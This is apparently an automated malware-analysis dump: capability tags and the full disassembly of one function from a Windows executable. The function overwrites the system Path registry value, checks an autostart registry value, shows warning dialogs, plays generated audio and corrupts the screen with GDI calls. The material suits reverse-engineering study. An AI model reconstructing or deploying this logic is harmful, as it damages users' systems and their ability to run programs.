Function at 0x140002648
Capabilities:
Check for foreground window switch
Create thread
Encode data using xor
Persist via path registry key
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x478]
sub rsp, 0x550
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rbp + 0x440], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rdx, [0x1400065fc]
lea rcx, [rbp - 0x58]
call fcn.1400039f4
mov rbx, rax
mov r13d, 0x104
mov r8d, r13d
xor edx, edx
lea rcx, [rbp + 0x220]
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp + 0x220]
lea r8, str.HostAutoStartCheck
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
call fcn.140001c54
lea rsi, [rbx + 0x18]
mov rcx, qword [rsi]
mov r15d, 1
xor r12d, r12d
lea edi, [r15 + 0xe]
test eax, eax
je 0x140002735
mov r14d, 0x1000
cmp rcx, rdi
jbe 0x1400027e9
mov rax, qword [rbx]
lea rdx, [rcx + 1]
cmp rdx, r14
jb 0x140002728
add rdx, 0x27
mov rcx, qword [rax - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002905
mov rax, rcx
mov rcx, rax
call fcn.140004be4
jmp 0x1400027e9
mov rdx, rbx
cmp rcx, rdi
jbe 0x140002740
mov rdx, qword [rbx]
lea rax, [rbp + 0x220]
sub rdx, rax
movzx r8d, byte [rax]
movzx r9d, byte [rax + rdx]
sub r8d, r9d
jne 0x140002760
add rax, r15
test r9d, r9d
jne 0x14000274a
mov r14d, 0x1000
test r8d, r8d
jne 0x1400027b0
cmp rcx, rdi
jbe 0x1400027a0
mov rax, qword [rbx]
lea rdx, [rcx + 1]
cmp rdx, r14
jb 0x140002798
add rdx, 0x27
mov rcx, qword [rax - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002905
mov rax, rcx
mov rcx, rax
call fcn.140004be4
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], rdi
mov byte [rbx], r12b
jmp 0x1400029ff
cmp rcx, rdi
jbe 0x1400027e5
mov rax, qword [rbx]
lea rdx, [rcx + 1]
cmp rdx, r14
jb 0x1400027dd
add rdx, 0x27
mov rcx, qword [rax - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002905
mov rax, rcx
mov rcx, rax
call fcn.140004be4
lea rsi, [rbx + 0x18]
mov r9d, 0x10
mov r8, r12
mov rdx, rdi
mov rcx, rbx
mov al, r12b
mov qword [r9 + rbx], r12
mov qword [rsi], rdx
mov byte [rbx], al
mov r9d, 4
lea rbx, str.JfAD_83g_dA64_q_.MZ
mov r8, rbx
lea rdx, [0x140006670]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
je 0x140003500
mov r9d, 4
mov r8, rbx
lea rdx, [0x1400066f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
je 0x140003500
xor r9d, r9d
mov r8, rbx
lea rdx, [0x140006748]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x140002620]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x330]
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp + 0x330]
lea r8, str.Path
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerEnvironment
call fcn.140001c54
test eax, eax
jne 0x1400029ff
lea rcx, [rbp - 0x28]
call fcn.140001ed8
nop
lea r8, [0x1400067b0]
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.14000401c
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, rdi
jbe 0x140002911
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, r14
jb 0x14000290c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000290c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140004be4
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x28], r12b
lea r8, [rbp - 0x58]
mov rbx, qword [rbp - 0x58]
mov rsi, qword [rbp - 0x40]
cmp rsi, rdi
cmova r8, rbx
mov rdx, r8
mov cl, byte [rdx]
mov rax, rdx
sub rax, r8
mov byte [rax], cl
add rdx, r15
test cl, cl
jne 0x140002933
mov rcx, r12
sub rcx, r15
add rcx, r15
cmp byte [rcx], r12b
jne 0x14000294a
lea r9, [rbp + 0x330]
xor r8d, r8d
mov al, byte [r9 + r8]
mov byte [rcx + r8], al
inc r8
test al, al
jne 0x14000295c
lea r8, [rbp - 0x60]
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerEnvironment
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1400029cd
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
mov r9d, r15d
xor r8d, r8d
lea rdx, str.Path
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400029cd
lea rdx, [0x1400065fc]
lea rcx, [rsp + 0x70]
call fcn.1400039f4
mov r9, rax
call fcn.140001cd8
test eax, eax
je 0x140002a8c
cmp rsi, rdi
jbe 0x1400029ff
lea rdx, [rsi + 1]
cmp rdx, r14
mov rax, rbx
jb 0x1400029f7
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ac7
mov rcx, rbx
call fcn.140004be4
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x1400025b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x140002620]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
mov r8d, 0x21c
lea rcx, [rbp + 4]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp], 0x220
mov rbx, r12
mov edi, 8
lea r8, [rbp]
mov edx, 0x100
mov ecx, ebx
call qword [sym.imp.SHELL32.dll_SHGetStockIconInfo]
mov rdx, qword [0x140011798]
cmp rdx, qword [0x1400117a0]
je 0x140002ace
mov rax, qword [rbp + 8]
mov qword [rdx], rax
add qword [0x140011798], rdi
jmp 0x140002ad7
call fcn.14000152c
nop
cmp rsi, rdi
jbe 0x140002ac0
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, r14
jb 0x140002ab8
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ac7
mov rcx, rbx
call fcn.140004be4
xor eax, eax
jmp 0x140003505
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea r8, [rbp + 8]
call fcn.1400046f0
add rbx, r15
cmp rbx, 0xb5
jb 0x140002a5b
mov qword [rsp + 0x68], r12
mov dword [rbp - 0x28], 0x10001
mov eax, 0x1f40
mov dword [rbp - 0x24], eax
mov dword [rbp - 0x20], eax
mov dword [rbp - 0x1c], 0x80001
mov word [rbp - 0x18], r12w
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp - 0x28]
or edx, 0xffffffff
lea rcx, [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutOpen]
mov esi, 0xfa000
mov ecx, esi
call fcn.140004bec
mov r13, rax
mov qword [rbp - 0x60], rax
mov ebx, r12d
mov rdi, rax
mov r8d, ebx
shr r8d, 0xa
mov ecx, ebx
shr ecx, 3
and r8d, ecx
add r8d, r15d
xor edx, edx
mov eax, ebx
div r8d
mov ecx, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm0, qword [0x14000e830]
addsd xmm0, qword [0x14000e838]
cvttsd2si eax, xmm0
mov byte [rdi], al
add ebx, r15d
add rdi, r15
cmp ebx, esi
jb 0x140002b42
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
mov ebx, 0x30
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutWrite]
lea edi, [rbx + 0xd]
mov ebx, edi
mov ecx, 0x1f4
call fcn.140001b80
sub rbx, r15
jne 0x140002bd4
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutReset]
mov edx, r12d
mov r8, r13
mov ecx, edx
shr ecx, 0xd
mov eax, edx
shr eax, 9
or cl, al
mov eax, edx
shr eax, 8
or cl, al
or cl, dl
movsx eax, dl
movsx ecx, cl
imul ecx, eax
neg cl
xor cl, dl
mov byte [r8], cl
add edx, r15d
add r8, r15
cmp edx, esi
jb 0x140002bf4
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rbp - 0x38]
movups xmmword [rbp - 0x70], xmm0
mov ebx, 0x30
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutWrite]
mov rbx, rdi
call fcn.1400019dc
call fcn.140001938
sub rbx, r15
jne 0x140002c82
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutReset]
mov edx, r12d
mov r8, r13
mov ecx, edx
shr ecx, 0xf
and cl, dl
mov eax, edx
shr eax, 8
and al, dl
movsx eax, al
movsx ecx, cl
imul ecx, eax
mov byte [r8], cl
add edx, r15d
add r8, r15
cmp edx, esi
jb 0x140002ca2
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rbp - 0x38]
movups xmmword [rbp - 0x70], xmm0
mov ebx, 0x30
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutWrite]
mov rbx, rdi
call fcn.140001788
call fcn.1400016ec
call fcn.140001788
call fcn.1400016ec
sub rbx, r15
jne 0x140002d25
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutReset]
mov r8d, r12d
mov r9, r13
mov eax, r8d
shr eax, 9
movsx ecx, r8b
movsx edx, al
imul edx, ecx
mov byte [r9], dl
add r8d, r15d
add r9, r15
cmp r8d, esi
jb 0x140002d4f
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rbp - 0x38]
movups xmmword [rbp - 0x70], xmm0
mov ebx, 0x30
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutWrite]
mov rsi, rdi
mov ebx, 0xc
mov r15d, 5
call fcn.140001c1c
mov rcx, rax
mov edx, ebx
call fcn.1400015b0
call fcn.140001c1c
mov rcx, rax
mov edx, ebx
call fcn.1400015b0
call fcn.140001c1c
mov rcx, rax
mov edx, ebx
call fcn.1400015b0
call fcn.140001c1c
mov rbx, rax
lea rcx, [0x140011758]
call qword [sym.imp.USER32.dll_GetCursorInfo]
mov dword [0x140011758], 0x18
mov r9, rbx
mov r8d, dword [0x14001176c]
mov edx, dword [0x140011768]
mov rcx, qword [0x140011788]
call qword [sym.imp.USER32.dll_DrawIcon]
mov ebx, 0xc
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
sub r15, 1
jne 0x140002dd7
call fcn.140001938
sub rsi, 1
jne 0x140002dd1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutReset]
mov r8d, r12d
mov r9, r13
mov r15d, 0xfa000
mov eax, 0x51eb851f
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x1c
sub cl, 0x18
add cl, r8b
mov eax, r8d
shr eax, 7
or al, 0x19
movsx eax, al
movsx ecx, cl
imul ecx, eax
and cl, 0x7f
mov byte [r9], cl
inc r8d
inc r9
cmp r8d, r15d
jb 0x140002e79
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rbp - 0x38]
movups xmmword [rbp - 0x70], xmm0
mov ebx, 0x30
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutWrite]
mov rsi, rdi
mov ebx, 0xa
mov ecx, 0x32
call fcn.140001b80
sub rbx, 1
jne 0x140002f16
sub rsi, 1
jne 0x140002f11
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutReset]
mov r9d, r12d
mov r11, r13
mov rbx, r12
lea r13d, [rsi + 7]
mov r10d, r9d
and r10d, r14d
je 0x140002f5e
mov edx, r9d
and edx, r13d
cmp r9w, 0xe800
cmovb edx, r13d
jmp 0x140002f63
mov edx, 0x10
mov ecx, r9d
shr ecx, 8
not ecx
and ecx, 8
or ecx, 2
mov rax, rbx
sar rax, cl
and al, 3
mov r8d, r9d
shr r8d, 0xe
and r8d, 1
add r8d, edx
imul r8d, r9d
mov cl, al
shr r8d, cl
neg r10d
sbb eax, eax
and eax, r13d
add eax, 3
mov ecx, 2
bt r9d, 0xe
cmovb ecx, eax
mov eax, r9d
shr eax, cl
or r8b, al
mov byte [r11], r8b
inc r9d
dec rbx
inc r11
cmp r9d, r15d
jb 0x140002f44
mov r13, qword [rbp - 0x60]
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rbp - 0x38]
movups xmmword [rbp - 0x70], xmm0
mov ebx, 0x30
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutWrite]
mov qword [rsp + 0x60], rdi
mov r13d, 4
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov qword [0x140011788], rax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [0x140011778], rax
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov qword [0x140011770], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x140011784], eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r15d, eax
mov dword [0x140011780], eax
mov r14d, dword [0x140011784]
mov r12, qword [0x140011788]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [0x140011780]
mov esi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [0x140011784]
mov edi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [0x140011780]
mov ebx, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [0x140011784]
mov dword [rsp + 0x50], 0xcc0020
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x40], r14d
and dword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], esi
mov r9d, edi
mov r8d, ebx
mov rcx, qword [0x140011788]
call qword [sym.imp.GDI32.dll_StretchBlt]
mov ecx, 0x7d
call qword [sym.imp.KERNEL32.dll_Sleep]
sub r13, 1
jne 0x14000302c
sub qword [rsp + 0x60], 1
jne 0x140003026
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutReset]
xor r12d, r12d
mov r8d, r12d
mov r13, qword [rbp - 0x60]
mov r9, r13
mov r10d, r12d
mov r11d, r12d
mov eax, r8d
and eax, 0x4000
neg eax
sbb ecx, ecx
and ecx, 0xfffffffd
add ecx, 0x1d
xor edx, edx
mov eax, r8d
div ecx
mov ecx, 0xf
sub cl, dl
mov eax, r8d
shr eax, 4
and cl, al
mov rax, r10
sar rax, 4
and al, r11b
or cl, al
mov byte [r9], cl
inc r8d
dec r10
inc r9
add r11, 2
cmp r8d, 0xfa000
jb 0x140003139
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 0xfa000
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rbp - 0x38]
movups xmmword [rbp - 0x70], xmm0
mov ebx, 0x30
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov r8d, ebx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutWrite]
lea r14d, [rbx + 0x1c]
mov r15d, 0x64
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov qword [0x140011788], rax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [0x140011778], rax
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov qword [0x140011770], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x140011784], eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
mov dword [0x140011780], eax
mov edi, dword [0x140011750]
cmp edi, dword [0x140011784]
jl 0x140003255
mov edi, r12d
mov dword [0x140011750], r12d
mov rbx, qword [0x140011788]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x78
sub r8d, eax
sub r8d, 0x3c
mov dword [rsp + 0x50], 0xcc0020
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x40], 0xa
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], esi
mov r9d, 0xa
mov edx, dword [0x140011750]
mov rcx, qword [0x140011788]
call qword [sym.imp.GDI32.dll_StretchBlt]
add dword [0x140011750], 0xa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
sub r15, 1
jne 0x1400031f0
sub r14, 1
jne 0x1400031ea
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutReset]
mov r9d, r12d
mov r11d, r12d
mov r10d, r12d
mov rbx, r13
mov r14d, 0xfa000
bt r9d, 0xf
jae 0x140003324
mov eax, 0x24924925
mul r10d
mov r8d, r10d
sub r8d, edx
shr r8d, 1
add r8d, edx
shr r8d, 2
jmp 0x140003349
mov edx, r11d
and edx, 0x64
mov eax, r9d
and eax, 0x64
imul ecx, eax, 0xfffffff7
bt r9d, 0x10
cmovb ecx, edx
mov eax, 0xba2e8ba3
mul ecx
mov r8d, edx
shr r8d, 3
mov al, r9b
shl al, 2
lea ecx, [rax + r9]
and cl, r9b
mov eax, r9d
shr eax, 6
or cl, al
or cl, r8b
mov al, cl
shl al, 2
add cl, al
add cl, cl
mov byte [rbx], cl
inc r9d
add r10d, 0xfffffffa
add r11d, 0xfffffff7
inc rbx
cmp r9d, r14d
jb 0x140003303
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rbp - 0x38]
movups xmmword [rbp - 0x70], xmm0
mov r15d, 0x30
mov r8d, r15d
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov r8d, r15d
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutWrite]
lea ebx, [r15 + 0xd]
mov esi, ebx
mov edi, 0x3e8
call fcn.140001c1c
mov rcx, rax
xor edx, edx
call fcn.1400015b0
sub rdi, 1
jne 0x1400033e7
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rsi, 1
jne 0x1400033e2
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutReset]
mov r8d, r12d
mov r9, r13
mov eax, r8d
shr eax, 0xb
lea ecx, [rax + rax*4]
shl ecx, 2
mov edx, r8d
shr edx, cl
xor dl, r8b
movsx eax, r8b
movsx ecx, dl
imul ecx, eax
mov byte [r9], cl
inc r8d
inc r9
cmp r8d, r14d
jb 0x14000341e
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rbp - 0x38]
movups xmmword [rbp - 0x70], xmm0
mov r8d, r15d
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov r8d, r15d
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutWrite]
mov dword [rsp + 0x20], 0x42
mov r9d, dword [0x140011780]
mov r8d, dword [0x140011784]
xor edx, edx
xor ecx, ecx
call fcn.140001624
mov dword [rsp + 0x20], 0xff0062
mov r9d, dword [0x140011780]
mov r8d, dword [0x140011784]
xor edx, edx
xor ecx, ecx
call fcn.140001624
sub rbx, 1
jne 0x1400034a1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutReset]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINMM.dll_waveOutClose]
call fcn.14000152c
mov eax, 0xdeaddead
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.140004940
lea r11, [rsp + 0x550]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret